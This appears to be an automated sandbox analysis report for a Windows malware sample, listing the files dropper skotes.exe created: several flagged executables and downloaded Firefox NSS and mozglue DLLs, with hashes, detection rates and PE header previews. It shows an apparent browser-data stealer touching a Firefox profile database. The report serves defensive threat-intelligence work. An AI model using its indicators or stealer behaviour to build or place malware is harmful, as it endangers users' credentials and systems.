SHA1:	DBB64B6DFAFF9ABF252F7CDCC7E310FA480DD4C7
SHA-256:	51C42B97B50152C4BADDE522F9CA91AC725F9E9F81EFB0CB95ED7BC4CA0223F8
SHA-512:	11B4C3C3F1A002B87666519825966533D532DA7D40384C52505581004701432E7D146CB65549C2E5B6234B31E4BFF299D50793BAA6FA83C1848095FC3B3BD7FF
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/3EBCA0F2171ADE8E459C2C2811B9B186",.. "id": "3EBCA0F2171ADE8E459C2C2811B9B186",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/3EBCA0F2171ADE8E459C2C2811B9B186"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/EB27A9763BBF52E5AE2BF52C922CADD9",.. "id": "EB27A9763BBF52E5AE2BF52C922CADD9",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/EB27A9763BBF52E5AE2BF52C922CADD9"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4395520
Entropy (8bit):	7.986283964176561
Encrypted:	false
SSDEEP:	98304:a36MwhV5hiVzKsk0PiF6mP2P1MPyqpkNtc4dV3XfqZT1:aqniVfkUiFNP2GqbJr3XSZT
MD5:	BE3A1A14663876AD1FAFA3F52FD20337
SHA1:	824AE3000F78447DB0835184A3C537B67BA1E35B
SHA-256:	CB9F29A62F2F969A423FC32A9179C8E6810984F62ACC624096D6CF844AD6F6A0
SHA-512:	E372C7CDED6669A4E30EAEFA4DA0153FCD72175AAAEC06D7E6759F4E528BAA8497986754578BF6C7C2FE348496B387A6492521619B362C537271B8108BA65F4B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@..........................0........C...@... ............................._.q.s................................................................................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..8...q.......'.............@...ajtwcbtw.`.......`....'.............@...jmacswze..............B.............@....taggant.0......."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2833408
Entropy (8bit):	6.4584026197910624
Encrypted:	false
SSDEEP:	24576:Hz+H0zFww8pqGQf3397NIDAvMRPO+5WnLXsW/RC5H6KVyvjGWpgYmCIX2IFU2wcy:Aiw+GQftNIU0VO+2jjGagVCG2tudmN3
MD5:	E46E731F878971F3BC5F5CF8FAD84AA5
SHA1:	B308E947E4231C43207A6808E3E68D8A8FFDFF72
SHA-256:	741791646FCEC5E5E0526D8C9F552CCA8A7497A8E6DD75D0FF0912F86E8E45B5
SHA-512:	AAB97BA524D015C8EABDD9FFB137AC0145D1864160ABF0D03A10C249E344FA58DA100F3BF4E8AB0C9AB4C73CBED0D8708F8914CDA71E0852E326315FFE179873
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+.....ii+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...icbwwxfp...........:..............@...jtrkmseq. ....+.......+.............@....taggant.@....+.."....+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1814016
Entropy (8bit):	7.944486662957539
Encrypted:	false
SSDEEP:	49152:D8FOELumBX/eyxC8KA3Ex9DfMQSmy0mivvlSYNf+AQE:QFHHM78pshfK0tlSYNL
MD5:	ABFA1D44AF50A6A065CF1029652FE4FD
SHA1:	6569A63123FD4408DCE3FBBC8A104151E1E79F23
SHA-256:	0B3FFD90968B0AF4600A3B6BA21E235269FB304B086A05CD423F64E28336931B
SHA-512:	9261331772BF91605A89B059D3E6483179923AC9FB10EBD832DC38678F5D450D0AB751D415F18DFB460AD60548D4F0F1CF69D638B225F4B1BFA14DE5CF41B31E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................$.......`i...........@...........................i.....p.....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... ..*...$......v..............@...plxaxrgl.....@O......x..............@...bbsqwnst.....Pi.....................@....taggant.0...`i.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	923136
Entropy (8bit):	6.593814424277657
Encrypted:	false
SSDEEP:	24576:RqDEvCTbMWu7rQYlBQcBiT6rprG8abv3:RTvC/MTQYxsWR7abv
MD5:	957D7A3741F63830407A37A58E741751
SHA1:	49CF7A78D963649187773183B7ED189237999015
SHA-256:	96B079728E6AC858E235833B223490C2AC0ED395321DD665B3AB0F420C90E92D
SHA-512:	94A8128A7D58EB00EFB88CA602EA2B8055B0FA45CA745D15BE8FAE3A068B30AB6C164BB03BFE998D98A25402813095C9BFD005404A7E07C01B12B72E218595DD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....Ag.........."..........f......w.............@..........................p......>.....@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1824256
Entropy (8bit):	7.946795616991406
Encrypted:	false
SSDEEP:	49152:iJSTMucCDNVE8ZRkk6Z5k4d/bBnQFyBft0T:dxE8ZakD4d/NnQEdt
MD5:	DE62E1ACDA0525F44272ADAFB066C752
SHA1:	4D604E7D96E3DC4DBAB44677135342EC0FC396DD
SHA-256:	2D2F7FA31A4278EB1DD32C565DF13FC07408C946C734434BD78772F07EE8C373
SHA-512:	686D4EA3B77E3A6B5B9D4E519C8BD0BA3A97E06774C003FFF9F438C06BDBB96735555F0A0D123928825663CB7A9D9C0E28F83D80971388ADAD7B363C38A84E5F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g.............................`H...........@...........................H.....l.....@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... ..)..........v..............@...dkoidnzf.@..../..8...x..............@...bgdbltjs.....PH.....................@....taggant.0...`H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4395520
Entropy (8bit):	7.986283964176561
Encrypted:	false
SSDEEP:	98304:a36MwhV5hiVzKsk0PiF6mP2P1MPyqpkNtc4dV3XfqZT1:aqniVfkUiFNP2GqbJr3XSZT
MD5:	BE3A1A14663876AD1FAFA3F52FD20337
SHA1:	824AE3000F78447DB0835184A3C537B67BA1E35B
SHA-256:	CB9F29A62F2F969A423FC32A9179C8E6810984F62ACC624096D6CF844AD6F6A0
SHA-512:	E372C7CDED6669A4E30EAEFA4DA0153FCD72175AAAEC06D7E6759F4E528BAA8497986754578BF6C7C2FE348496B387A6492521619B362C537271B8108BA65F4B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@..........................0........C...@... ............................._.q.s................................................................................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..8...q.......'.............@...ajtwcbtw.`.......`....'.............@...jmacswze..............B.............@....taggant.0......."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1824256
Entropy (8bit):	7.946795616991406
Encrypted:	false
SSDEEP:	49152:iJSTMucCDNVE8ZRkk6Z5k4d/bBnQFyBft0T:dxE8ZakD4d/NnQEdt
MD5:	DE62E1ACDA0525F44272ADAFB066C752
SHA1:	4D604E7D96E3DC4DBAB44677135342EC0FC396DD
SHA-256:	2D2F7FA31A4278EB1DD32C565DF13FC07408C946C734434BD78772F07EE8C373
SHA-512:	686D4EA3B77E3A6B5B9D4E519C8BD0BA3A97E06774C003FFF9F438C06BDBB96735555F0A0D123928825663CB7A9D9C0E28F83D80971388ADAD7B363C38A84E5F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g.............................`H...........@...........................H.....l.....@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... ..)..........v..............@...dkoidnzf.@..../..8...x..............@...bgdbltjs.....PH.....................@....taggant.0...`H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1814016
Entropy (8bit):	7.944486662957539
Encrypted:	false
SSDEEP:	49152:D8FOELumBX/eyxC8KA3Ex9DfMQSmy0mivvlSYNf+AQE:QFHHM78pshfK0tlSYNL
MD5:	ABFA1D44AF50A6A065CF1029652FE4FD
SHA1:	6569A63123FD4408DCE3FBBC8A104151E1E79F23
SHA-256:	0B3FFD90968B0AF4600A3B6BA21E235269FB304B086A05CD423F64E28336931B
SHA-512:	9261331772BF91605A89B059D3E6483179923AC9FB10EBD832DC38678F5D450D0AB751D415F18DFB460AD60548D4F0F1CF69D638B225F4B1BFA14DE5CF41B31E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................$.......`i...........@...........................i.....p.....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... ..*...$......v..............@...plxaxrgl.....@O......x..............@...bbsqwnst.....Pi.....................@....taggant.0...`i.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	923136
Entropy (8bit):	6.593814424277657
Encrypted:	false
SSDEEP:	24576:RqDEvCTbMWu7rQYlBQcBiT6rprG8abv3:RTvC/MTQYxsWR7abv
MD5:	957D7A3741F63830407A37A58E741751
SHA1:	49CF7A78D963649187773183B7ED189237999015
SHA-256:	96B079728E6AC858E235833B223490C2AC0ED395321DD665B3AB0F420C90E92D
SHA-512:	94A8128A7D58EB00EFB88CA602EA2B8055B0FA45CA745D15BE8FAE3A068B30AB6C164BB03BFE998D98A25402813095C9BFD005404A7E07C01B12B72E218595DD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....Ag.........."..........f......w.............@..........................p......>.....@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2833408
Entropy (8bit):	6.4584026197910624
Encrypted:	false
SSDEEP:	24576:Hz+H0zFww8pqGQf3397NIDAvMRPO+5WnLXsW/RC5H6KVyvjGWpgYmCIX2IFU2wcy:Aiw+GQftNIU0VO+2jjGagVCG2tudmN3
MD5:	E46E731F878971F3BC5F5CF8FAD84AA5
SHA1:	B308E947E4231C43207A6808E3E68D8A8FFDFF72
SHA-256:	741791646FCEC5E5E0526D8C9F552CCA8A7497A8E6DD75D0FF0912F86E8E45B5
SHA-512:	AAB97BA524D015C8EABDD9FFB137AC0145D1864160ABF0D03A10C249E344FA58DA100F3BF4E8AB0C9AB4C73CBED0D8708F8914CDA71E0852E326315FFE179873
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+.....ii+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...icbwwxfp...........:..............@...jtrkmseq. ....+.......+.............@....taggant.@....+.."....+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1973760
Entropy (8bit):	7.953401501992381
Encrypted:	false
SSDEEP:	49152:9xxjzwZT2g2d+n2KDNmscVtW2GsrrF8S0:9bwZygE+/UzHW6
MD5:	FC20A6C027AAD707AA48822FF845634F
SHA1:	C899FB0F23781C2059AA0B86628992F2F0A56EB8
SHA-256:	4649973CAF12DBA324F3AE728A2547B8FAAF5EEDA88CC8943A0802098CE30782
SHA-512:	B3969B8B9228A5569F70B425B2158FC856F6D0B99B9278DAD2552E943AE9B3F52FD636C769A25FCC531828A440E62B5968612D20C276CAA7810E83EA87B39B5D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................M...........@...........................M......z....@.................................W...k.......H...................d.M...............................M..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...hhtplcno......2.....................@...koagpykx......M.....................@....taggant.0....M.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9880
